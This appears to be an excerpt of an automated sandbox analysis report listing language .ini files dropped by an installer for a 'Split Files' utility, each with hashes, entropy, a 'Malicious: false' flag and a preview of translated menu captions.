SSDEEP:	48:HGgXRVA+sqgh59WJIo4yvHIExBMHkWREHZDNbHBsBOtiSZls5crRMfiE:HGusSgEvMHfREHN9hsoiOUBiE
MD5:	D2471D35D833E2544D67365E015E6153
SHA1:	497EE8FF9519D025BD10C5AA15DDC34DFB1B334B
SHA-256:	4831DDBCFE327E2542F4565E7A948C5828D71003B8444723E1E11BA6BB43ACE7
SHA-512:	C82B30D604A679F87B8D0B1670A0D1607E25150FFCFD1C9E631241916BA93CEB5A33AFCAA9080149096ACA1913791384860F5699F2BB302B6CB190AF777EB3CE
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&File'..MExit->Caption = 'Programma Afsluiten'..MOptions->Caption = 'Options'..MSettings->Caption = 'Instellingen'..MLanguage->Caption = 'Kies Taal'..MLangArabic->Caption = 'Arabisch'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Nederlands'..MLangEnglish->Caption = 'Engels'..MLangFrench->Caption = 'Frans'..MLangItalian->Caption = 'Italiaans'..MLangRussian->Caption = 'Russisch'..MLangSpanish->Caption = 'Spaans'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Hulp'..MAbout->Caption = 'Info'....TabSheetSplit->Caption = 'SPLITSEN'..TabSheetCombine->Caption = 'HERENIGEN'....GroupBoxCombine->Caption = ' Drag and drop een van de te herenigen delen in 'Eerste Deel' of browse ernaartoe '..LabelFirstFile->Caption = 'Eerste Deel:'..LabelOutput->Caption = 'Output Bestandsnaam:'..LabelCombineFolder->Caption = 'Output Map:'..LabelSplitFolder->Caption = 'Output Map:'..ButtonCombine->Caption = 'HERENIGEN'..ButtonStopCombine->Caption = 'STOP'....Grou

C:\Program Files (x86)\Split Files\language\English.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2594
Entropy (8bit):	5.044497576650396
Encrypted:	false
SSDEEP:	48:HGgb5l+sqiTh7XJ9oVHo1xx0GHLVQ4ZWGAtDAEQmUDcQdWym:HGdpa1jfHLVQ4AGAtWma8H
MD5:	76776746B3CFF1CBD5D56CD44CA2DEF5
SHA1:	2F2ECA50BD7F72232BE84291EF1A7956C24098CC
SHA-256:	EC647D30931F50607CF745D958AAF0367CCEAB9999346188255CFBFB22301EE3
SHA-512:	202436C708D4F34FFCCDC3D33841246C5CEE073AC270DA547C15F9E995A08D36AE4C00982283BF60D62363046BBEAA0125D59075E4629A9D1934039CBFB00BE5
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&File'..MExit->Caption = 'Exit Application'..MOptions->Caption = 'Options'..MSettings->Caption = 'Settings'..MLanguage->Caption = 'Language'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption = 'English'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = 'Russian'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Help'..MAbout->Caption = 'About'....TabSheetSplit->Caption = 'SPLIT'..TabSheetCombine->Caption = 'JOIN'....GroupBoxCombine->Caption = ' Drag and drop one of the files to join in the 'First Part' box or browse to it '..LabelFirstFile->Caption = 'First Part:'..LabelOutput->Caption = 'Output File Name:'..LabelCombineFolder->Caption = 'Output Folder:'..LabelSplitFolder->Caption = 'Output Folder:'..ButtonCombine->Caption = 'JOIN'..ButtonStopCombine->Caption = 'STOP'....GroupBoxSplit->Caption = ' Drag

C:\Program Files (x86)\Split Files\language\French.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2507
Entropy (8bit):	5.040552699764577
Encrypted:	false
SSDEEP:	48:HGkOA+sq/W7Yve3EkHaBSDbSljMM+v1/D3H:HGb8hABSDbSJMBD
MD5:	336D33F55222F48FBA19EF0911732766
SHA1:	E17A78E3B48192361DB540B1E8C9D0548C9A9FFE
SHA-256:	0E955453FA27CED0D0521F0F960C7743C2090F06263D33EC8FA978B681123E0C
SHA-512:	67EC6B859BCDD66DA59CDB1DC1A4EACFBDA12C57699012EE1573DD88F5AAAB6288E1BD9015C862689F4A1A27E83B28C3A9C99B1895EDF4F47D6F94B0557CDC1F
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&Fichier'..MExit->Caption = 'Quitter'..MOptions->Caption = 'Options'..MSettings->Caption = 'Settings'..MLanguage->Caption = 'Langage'..MLangArabic->Caption = 'Arabe'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Flamand'..MLangEnglish->Caption = 'Englais'..MLangFrench->Caption = 'Francais'..MLangItalian->Caption = 'Italien'..MLangRussian->Caption = 'Russe'..MLangSpanish->Caption = 'Espagnol'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Aide'..MAbout->Caption = 'A propos de ..'....TabSheetSplit->Caption = 'Scinder'..TabSheetCombine->Caption = 'Assembler'....GroupBoxCombine->Caption = ' Faire glisser un des fichiers bloc . assembler ou rechercher le par ... '..LabelFirstFile->Caption = 'Premier Fichier:'..LabelOutput->Caption = 'Fichier de sortie: '..LabelCombineFolder->Caption = 'R.pertoire Dest.'..LabelSplitFolder->Caption = 'R.pertoire Dest.'..ButtonCombine->Caption = 'Assembler'..ButtonStopCombine->Caption = 'Stop'....GroupBoxSpl

C:\Program Files (x86)\Split Files\language\Italian.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2729
Entropy (8bit):	5.029883215699414
Encrypted:	false
SSDEEP:	48:HGgS7++sqMsmQYEJK7bHExsA9GZ1MTn6btlOWH6r3zvX5c9WYN:HGjUoR9GXML6RYWH6rDRdYN
MD5:	8AFE543CB6791AA250312EBA61BF7C13
SHA1:	BFD229D43BE86728A634055AD65860157C2671BD
SHA-256:	AF5BFB663E715C48C55E24BC3BEA30FCAA9BE8EAF35133FBB75D54C5735696AC
SHA-512:	5CF85F84DD6D363B2AAC720CF10C5289350EB706DC2BF5CA824CF220C3607CC7969CDD2F4B2912DC97C7BE50CEDC24A9A01AFC585CE84B6B8CB81419153931A2
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&File'..MExit->Caption = 'Termina programma'..MOptions->Caption = 'Options'..MSettings->Caption = 'Impostazioni'..MLanguage->Caption = 'Seleziona Lingua'..MLangArabic->Caption = 'Arabo'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Olandese'..MLangEnglish->Caption = 'Inglese'..MLangFrench->Caption = 'Francese'..MLangItalian->Caption = 'Italiano'..MLangRussian->Caption = 'Russo'..MLangSpanish->Caption = 'Spagnolo'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Aiuto'..MAbout->Caption = 'Informazioni'....TabSheetSplit->Caption = 'DIVIDI'..TabSheetCombine->Caption = 'UNISCI'....GroupBoxCombine->Caption = ' Drag and drop una delle parti da unire nella casella 'Prima Parte' o segui percorso '..LabelFirstFile->Caption = 'Prima Parte:'..LabelOutput->Caption = 'Nome File Uscita:'..LabelCombineFolder->Caption = 'Cartella Uscita:'..LabelSplitFolder->Caption = 'Cartella Uscita:'..ButtonCombine->Caption = 'UNISCI'..ButtonStopCombine->Caption = '

C:\Program Files (x86)\Split Files\language\Russian.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2299
Entropy (8bit):	5.691502190790686
Encrypted:	false
SSDEEP:	48:HG9uhjkDYhqGQjsONHiHQgGU9dm6nclk6a1hg22mo6LD:HGnzLIQTUPmcclGsmogD
MD5:	F9F47FF3D866FFC4F38E315E41356E55
SHA1:	EFC313A99993B5FB8A454D4C5197C6F3965B5C89
SHA-256:	3A13CCE54190BF4A679D21F61466A0A18E9340287CAA1AA4EACB38C99C9D4957
SHA-512:	6EC1F1E19921C535A50254500ED01602DA74D3CC9E6DA8B5FC78D89255E42C5968BD294E56F584EE273630B9233C20CAFEBC906354CE393FE1CFFE91528F527A
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&....'..MExit->Caption = '.....'..MOptions->Caption = '.....'..MSettings->Caption = '.........'..MLanguage->Caption = '....'..MLangEnglish->Caption = '..........'..MLangRussian->Caption = '.......'..MLangArabic->Caption = '........'..MLangChinese->Caption = '.........'..MLangDutch->Caption = '.......'..MLangFrench->Caption = '...........'..MLangItalian->Caption = '...........'..MLangSpanish->Caption = '.........'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = '......'..MAbout->Caption = '. .........'....TabSheetSplit->Caption = '.......'..TabSheetCombine->Caption = '.......'....GroupBoxCombine->Caption = ' ....... ..... '..LabelFirstFile->Caption = '1-. ....:'..LabelOutput->Caption = '........: '..LabelCombineFolder->Caption = '..........:'..ButtonCombine->Caption = '.......'..ButtonStopCombine->Caption = '....'....GroupBoxSplit->Caption = ' ....... .... '..LabelSplitFolder->Caption = '..........:'..LabelFileName->Caption = '... .....:'..LabelFile

C:\Program Files (x86)\Split Files\language\Spanish.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2718
Entropy (8bit):	5.057121428169199
Encrypted:	false
SSDEEP:	48:HGPWFaxAA+sqKvFYLcunHh3QxXOBp1OB5r70h3CGRsJE0laDwXCqXH5wGF5JoCPa:HGPAPZBAJU1k7Jb245xVfUMG
MD5:	21B4D47F5D851271C89310C92777FB70
SHA1:	9D85FF8F7107CFAE3F31993FAF7F249591AFCB27
SHA-256:	D88AE9E292EBC4E56767892FD451E2E8278FCE776CAD689731EE7875748D55D7
SHA-512:	46F26B51D6959A36E33266887E39CB98E7E67880052DE8DE741CB93C90ED3B28C87A224CE710E6C698FE648ED8B062E73DEDC253A6C5A8362EB3EF2792AB4FBF
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&Archivo'..MExit->Caption = 'Salir'..MOptions->Caption = 'Options'..MSettings->Caption = 'Herramientas'..MLanguage->Caption = 'Elegir idioma'..MLangArabic->Caption = 'Arabe'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Holand.s'..MLangEnglish->Caption = 'Ingl.s'..MLangFrench->Caption = 'Franc.s'..MLangItalian->Caption = 'Italiano'..MLangRussian->Caption = 'Ruso'..MLangSpanish->Caption = 'Espa.ol'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Ayuda'..MAbout->Caption = 'Sobre programa'....TabSheetSplit->Caption = 'SEPARAR'..TabSheetCombine->Caption = 'JUNTAR'....GroupBoxCombine->Caption = ' Drag and drop una de las partes para juntar en la celda 'Primera Parte' o navegar '..LabelFirstFile->Caption = 'Primera Parte:'..LabelOutput->Caption = 'Nombre Archivo salida:'..LabelCombineFolder->Caption = 'Carpeta salida:'..LabelSplitFolder->Caption = 'Carpeta salida:'..ButtonCombine->Caption = 'JUNTAR'..ButtonStopCombine->Caption = 'PARAR'....

C:\Program Files (x86)\Split Files\language\Turkish.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2607
Entropy (8bit):	5.234177949162883
Encrypted:	false
SSDEEP:	48:HGUyjEiB0w3l+sqiTh7XJ9UeHjIDt00AoB/nheSSMpSSSxPYe:HGpNBrkGIDt0qnheS9Sx
MD5:	E1271E0DDD609CD7F9C2367D32FEBE4B
SHA1:	0A420424F1FADE0BFF002E63AAD22B5E94B86CAC
SHA-256:	AEE6B1EDFFFCE507E2207C7E2AA36DA42B2AC54CEB28B9759B2D05F1012CBA8F
SHA-512:	86A11C9E4B59F2437180F56CAD44E69CB29B03B93983EA5E35CBCC5BDD40CFC424EE1EEF519B2E44D67623C79835AF92B4B089AC29890C046CD590C1F8BFA574
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&Dosya'..MExit->Caption = 'Uygulamay. Kapat'..MOptions->Caption = 'Se.enekler'..MSettings->Caption = 'Ayarlar'..MLanguage->Caption = 'Dil'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption = 'English'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = 'Russian'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Yard.m'..MAbout->Caption = 'Hakk.nda'....TabSheetSplit->Caption = 'PAR.ALA'..TabSheetCombine->Caption = 'B.RLE.T.R'....GroupBoxCombine->Caption = ' .lk par.ay. s.r.kleyin yada g.zat. kullan.n '..LabelFirstFile->Caption = '.lk Par.a:'..LabelOutput->Caption = 'Birle.tirme Ad.:'..LabelCombineFolder->Caption = '..kt. Klas.r.:'..LabelSplitFolder->Caption = '..kt. Klas.r.:'..ButtonCombine->Caption = 'B.RLE.T.R'..ButtonStopCombine->Caption = 'DUR'....GroupBoxSplit->Caption = ' B.lmek istedi.iniz dosyay.

C:\Program Files (x86)\Split Files\language\is-3NI9T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2594
Entropy (8bit):	5.044497576650396
Encrypted:	false
SSDEEP:	48:HGgb5l+sqiTh7XJ9oVHo1xx0GHLVQ4ZWGAtDAEQmUDcQdWym:HGdpa1jfHLVQ4AGAtWma8H
MD5:	76776746B3CFF1CBD5D56CD44CA2DEF5
SHA1:	2F2ECA50BD7F72232BE84291EF1A7956C24098CC
SHA-256:	EC647D30931F50607CF745D958AAF0367CCEAB9999346188255CFBFB22301EE3
SHA-512:	202436C708D4F34FFCCDC3D33841246C5CEE073AC270DA547C15F9E995A08D36AE4C00982283BF60D62363046BBEAA0125D59075E4629A9D1934039CBFB00BE5
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&File'..MExit->Caption = 'Exit Application'..MOptions->Caption = 'Options'..MSettings->Caption = 'Settings'..MLanguage->Caption = 'Language'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption = 'English'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = 'Russian'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Help'..MAbout->Caption = 'About'....TabSheetSplit->Caption = 'SPLIT'..TabSheetCombine->Caption = 'JOIN'....GroupBoxCombine->Caption = ' Drag and drop one of the files to join in the 'First Part' box or browse to it '..LabelFirstFile->Caption = 'First Part:'..LabelOutput->Caption = 'Output File Name:'..LabelCombineFolder->Caption = 'Output Folder:'..LabelSplitFolder->Caption = 'Output Folder:'..ButtonCombine->Caption = 'JOIN'..ButtonStopCombine->Caption = 'STOP'....GroupBoxSplit->Caption = ' Drag

C:\Program Files (x86)\Split Files\language\is-7O8CS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2607
Entropy (8bit):	5.234177949162883
Encrypted:	false
SSDEEP:	48:HGUyjEiB0w3l+sqiTh7XJ9UeHjIDt00AoB/nheSSMpSSSxPYe:HGpNBrkGIDt0qnheS9Sx
MD5:	E1271E0DDD609CD7F9C2367D32FEBE4B
SHA1:	0A420424F1FADE0BFF002E63AAD22B5E94B86CAC
SHA-256:	AEE6B1EDFFFCE507E2207C7E2AA36DA42B2AC54CEB28B9759B2D05F1012CBA8F
SHA-512:	86A11C9E4B59F2437180F56CAD44E69CB29B03B93983EA5E35CBCC5BDD40CFC424EE1EEF519B2E44D67623C79835AF92B4B089AC29890C046CD590C1F8BFA574
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&Dosya'..MExit->Caption = 'Uygulamay. Kapat'..MOptions->Caption = 'Se.enekler'..MSettings->Caption = 'Ayarlar'..MLanguage->Caption = 'Dil'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption = 'English'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = 'Russian'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Yard.m'..MAbout->Caption = 'Hakk.nda'....TabSheetSplit->Caption = 'PAR.ALA'..TabSheetCombine->Caption = 'B.RLE.T.R'....GroupBoxCombine->Caption = ' .lk par.ay. s.r.kleyin yada g.zat. kullan.n '..LabelFirstFile->Caption = '.lk Par.a:'..LabelOutput->Caption = 'Birle.tirme Ad.:'..LabelCombineFolder->Caption = '..kt. Klas.r.:'..LabelSplitFolder->Caption = '..kt. Klas.r.:'..ButtonCombine->Caption = 'B.RLE.T.R'..ButtonStopCombine->Caption = 'DUR'....GroupBoxSplit->Caption = ' B.lmek istedi.iniz dosyay.

C:\Program Files (x86)\Split Files\language\is-7S1TU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2345
Entropy (8bit):	5.847861612631974
Encrypted:	false
SSDEEP:	48:HGj2lE8qiTh7XJ9zHadtPTTD1n34q1jgun1ITq8K:HG5RDTln34qRgusK
MD5:	A5C9FEA89EFE8E2162BA477E8EA39B44
SHA1:	E6A2042C574D14786891F0C32F92C8292BBB4ACA
SHA-256:	8DDFB50DACA491296101BAB3DB9B77C7587127E684D9E22EFD6DC93F84A008FA
SHA-512:	3F7944F262717D308A1235982E741536DA6A4DF9ABEE4E2811E1151B53C3D31811EA3EB750ED39F347F7DF14AD20FF981C85CC2DA297BE745547B36D41B8FDB9
Malicious:	false
Preview:	[Interface]....MFile->Caption = '...(&F)'..MExit->Caption = '.......'..MOptions->Caption = '...'..MSettings->Caption = '....'..MLanguage->Caption = '....'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = '........'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption = 'English'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = 'Russian'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = '....'..MAbout->Caption = '....'....TabSheetSplit->Caption = '...'..TabSheetCombine->Caption = '...'....GroupBoxCombine->Caption = ' .......... "......" .............'..LabelFirstFile->Caption = '......'..LabelOutput->Caption = '..........'..LabelCombineFolder->Caption = '.........'..LabelSplitFolder->Caption = '.........'..ButtonCombine->Caption = '...'..ButtonStopCombine->Caption = '..'....GroupBoxSplit->Caption = ' .......... "......."............. '..LabelFileName->Caption = '.

C:\Program Files (x86)\Split Files\language\is-A3R8N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2507
Entropy (8bit):	5.040552699764577
Encrypted:	false
SSDEEP:	48:HGkOA+sq/W7Yve3EkHaBSDbSljMM+v1/D3H:HGb8hABSDbSJMBD
MD5:	336D33F55222F48FBA19EF0911732766
SHA1:	E17A78E3B48192361DB540B1E8C9D0548C9A9FFE
SHA-256:	0E955453FA27CED0D0521F0F960C7743C2090F06263D33EC8FA978B681123E0C
SHA-512:	67EC6B859BCDD66DA59CDB1DC1A4EACFBDA12C57699012EE1573DD88F5AAAB6288E1BD9015C862689F4A1A27E83B28C3A9C99B1895EDF4F47D6F94B0557CDC1F
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&Fichier'..MExit->Caption = 'Quitter'..MOptions->Caption = 'Options'..MSettings->Caption = 'Settings'..MLanguage->Caption = 'Langage'..MLangArabic->Caption = 'Arabe'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Flamand'..MLangEnglish->Caption = 'Englais'..MLangFrench->Caption = 'Francais'..MLangItalian->Caption = 'Italien'..MLangRussian->Caption = 'Russe'..MLangSpanish->Caption = 'Espagnol'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Aide'..MAbout->Caption = 'A propos de ..'....TabSheetSplit->Caption = 'Scinder'..TabSheetCombine->Caption = 'Assembler'....GroupBoxCombine->Caption = ' Faire glisser un des fichiers bloc . assembler ou rechercher le par ... '..LabelFirstFile->Caption = 'Premier Fichier:'..LabelOutput->Caption = 'Fichier de sortie: '..LabelCombineFolder->Caption = 'R.pertoire Dest.'..LabelSplitFolder->Caption = 'R.pertoire Dest.'..ButtonCombine->Caption = 'Assembler'..ButtonStopCombine->Caption = 'Stop'....GroupBoxSpl

C:\Program Files (x86)\Split Files\language\is-BVH9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2266
Entropy (8bit):	5.4593359267896355
Encrypted:	false
SSDEEP:	48:HG8il+sqirh7zJ9YTHskp1r4phFAqLNnK9h:HGkSkp1r4NTKf
MD5:	4ABA9765EB3555788F5706D87A9D2DCA
SHA1:	36C0895FBF9F99690CA55C54CC56310E24513113
SHA-256:	E99B943206594C04BC0383669D04D4F191A501F46D2474FED08B997F8020B433
SHA-512:	3498485635AFC548663715D22071611BAB10C707E8E24BE0B5143EE4A27727DA7D18A5E6959E3F6DD7D0F615DDFD50CE9FC5CE8AE6DDC5BEE287B5A00A817288
Malicious:	false
Preview:	[Interface]....MFile->Caption = '...'..MExit->Caption =' ....'..MOptions->Caption = 'Options'..MSettings->Caption =' .........'..MLanguage->Caption =' ......'..MLangArabic->Caption = 'Arabic'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Dutch'..MLangEnglish->Caption =' .......'..MLangFrench->Caption = 'French'..MLangItalian->Caption = 'Italian'..MLangRussian->Caption = '....'..MLangSpanish->Caption = 'Spanish'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption =' .......'..MAbout->Caption =' ...'....TabSheetSplit->Caption = ' ... .......'..TabSheetCombine->Caption = ' ...'....GroupBoxCombine->Caption =' ... .......'..LabelFirstFile->Caption = '..... .....:'..LabelOutput->Caption = '... ....:'..LabelCombineFolder->Caption =' .... ......:'..LabelSplitFolder->Caption = '.... ......:'..ButtonCombine->Caption =' ...'..ButtonStopCombine->Caption = '....'....GroupBoxSplit->Caption = '... .......'..LabelFileName->Caption =' ..... ...: '..LabelSplitFolder->Caption =' .... ......:'

C:\Program Files (x86)\Split Files\language\is-JOJ80.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2729
Entropy (8bit):	5.029883215699414
Encrypted:	false
SSDEEP:	48:HGgS7++sqMsmQYEJK7bHExsA9GZ1MTn6btlOWH6r3zvX5c9WYN:HGjUoR9GXML6RYWH6rDRdYN
MD5:	8AFE543CB6791AA250312EBA61BF7C13
SHA1:	BFD229D43BE86728A634055AD65860157C2671BD
SHA-256:	AF5BFB663E715C48C55E24BC3BEA30FCAA9BE8EAF35133FBB75D54C5735696AC
SHA-512:	5CF85F84DD6D363B2AAC720CF10C5289350EB706DC2BF5CA824CF220C3607CC7969CDD2F4B2912DC97C7BE50CEDC24A9A01AFC585CE84B6B8CB81419153931A2
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&File'..MExit->Caption = 'Termina programma'..MOptions->Caption = 'Options'..MSettings->Caption = 'Impostazioni'..MLanguage->Caption = 'Seleziona Lingua'..MLangArabic->Caption = 'Arabo'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Olandese'..MLangEnglish->Caption = 'Inglese'..MLangFrench->Caption = 'Francese'..MLangItalian->Caption = 'Italiano'..MLangRussian->Caption = 'Russo'..MLangSpanish->Caption = 'Spagnolo'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Aiuto'..MAbout->Caption = 'Informazioni'....TabSheetSplit->Caption = 'DIVIDI'..TabSheetCombine->Caption = 'UNISCI'....GroupBoxCombine->Caption = ' Drag and drop una delle parti da unire nella casella 'Prima Parte' o segui percorso '..LabelFirstFile->Caption = 'Prima Parte:'..LabelOutput->Caption = 'Nome File Uscita:'..LabelCombineFolder->Caption = 'Cartella Uscita:'..LabelSplitFolder->Caption = 'Cartella Uscita:'..ButtonCombine->Caption = 'UNISCI'..ButtonStopCombine->Caption = '

C:\Program Files (x86)\Split Files\language\is-L1N1D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2687
Entropy (8bit):	5.051567814097503
Encrypted:	false
SSDEEP:	48:HGgXRVA+sqgh59WJIo4yvHIExBMHkWREHZDNbHBsBOtiSZls5crRMfiE:HGusSgEvMHfREHN9hsoiOUBiE
MD5:	D2471D35D833E2544D67365E015E6153
SHA1:	497EE8FF9519D025BD10C5AA15DDC34DFB1B334B
SHA-256:	4831DDBCFE327E2542F4565E7A948C5828D71003B8444723E1E11BA6BB43ACE7
SHA-512:	C82B30D604A679F87B8D0B1670A0D1607E25150FFCFD1C9E631241916BA93CEB5A33AFCAA9080149096ACA1913791384860F5699F2BB302B6CB190AF777EB3CE
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&File'..MExit->Caption = 'Programma Afsluiten'..MOptions->Caption = 'Options'..MSettings->Caption = 'Instellingen'..MLanguage->Caption = 'Kies Taal'..MLangArabic->Caption = 'Arabisch'..MLangChinese->Caption = 'Chinese'..MLangDutch->Caption = 'Nederlands'..MLangEnglish->Caption = 'Engels'..MLangFrench->Caption = 'Frans'..MLangItalian->Caption = 'Italiaans'..MLangRussian->Caption = 'Russisch'..MLangSpanish->Caption = 'Spaans'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = 'Hulp'..MAbout->Caption = 'Info'....TabSheetSplit->Caption = 'SPLITSEN'..TabSheetCombine->Caption = 'HERENIGEN'....GroupBoxCombine->Caption = ' Drag and drop een van de te herenigen delen in 'Eerste Deel' of browse ernaartoe '..LabelFirstFile->Caption = 'Eerste Deel:'..LabelOutput->Caption = 'Output Bestandsnaam:'..LabelCombineFolder->Caption = 'Output Map:'..LabelSplitFolder->Caption = 'Output Map:'..ButtonCombine->Caption = 'HERENIGEN'..ButtonStopCombine->Caption = 'STOP'....Grou

C:\Program Files (x86)\Split Files\language\is-P2AUO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2299
Entropy (8bit):	5.691502190790686
Encrypted:	false
SSDEEP:	48:HG9uhjkDYhqGQjsONHiHQgGU9dm6nclk6a1hg22mo6LD:HGnzLIQTUPmcclGsmogD
MD5:	F9F47FF3D866FFC4F38E315E41356E55
SHA1:	EFC313A99993B5FB8A454D4C5197C6F3965B5C89
SHA-256:	3A13CCE54190BF4A679D21F61466A0A18E9340287CAA1AA4EACB38C99C9D4957
SHA-512:	6EC1F1E19921C535A50254500ED01602DA74D3CC9E6DA8B5FC78D89255E42C5968BD294E56F584EE273630B9233C20CAFEBC906354CE393FE1CFFE91528F527A
Malicious:	false
Preview:	[Interface]....MFile->Caption = '&....'..MExit->Caption = '.....'..MOptions->Caption = '.....'..MSettings->Caption = '.........'..MLanguage->Caption = '....'..MLangEnglish->Caption = '..........'..MLangRussian->Caption = '.......'..MLangArabic->Caption = '........'..MLangChinese->Caption = '.........'..MLangDutch->Caption = '.......'..MLangFrench->Caption = '...........'..MLangItalian->Caption = '...........'..MLangSpanish->Caption = '.........'..MLangTurkish->Caption = 'Turkish'..MHelp->Caption = '......'..MAbout->Caption = '. .........'....TabSheetSplit->Caption = '.......'..TabSheetCombine->Caption = '.......'....GroupBoxCombine->Caption = ' ....... ..... '..LabelFirstFile->Caption = '1-. ....:'..LabelOutput->Caption = '........: '..LabelCombineFolder->Caption = '..........:'..ButtonCombine->Caption = '.......'..ButtonStopCombine->Caption = '....'....GroupBoxSplit->Caption = ' ....... .... '..LabelSplitFolder->Caption = '..........:'..LabelFileName->Caption = '... .....:'..LabelFile

C:\Program Files (x86)\Split Files\language\is-QV8JO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2718
Entropy (8bit):	5.057121428169199
Encrypted:	false
SSDEEP:	48:HGPWFaxAA+sqKvFYLcunHh3QxXOBp1OB5r70h3CGRsJE0laDwXCqXH5wGF5JoCPa:HGPAPZBAJU1k7Jb245xVfUMG
MD5:	21B4D47F5D851271C89310C92777FB70
SHA1:	9D85FF8F7107CFAE3F31993FAF7F249591AFCB27
SHA-256:	D88AE9E292EBC4E56767892FD451E2E8278FCE776CAD689731EE7875748D55D7
SHA-512:	46F26B51D6959A36E33266887E39CB98E7E67880052DE8DE741CB93C90ED3B28C87A224CE710E6C698FE648ED8B062E73DEDC253A6C5A8362EB3EF2792AB4FBF
Malicious:	false
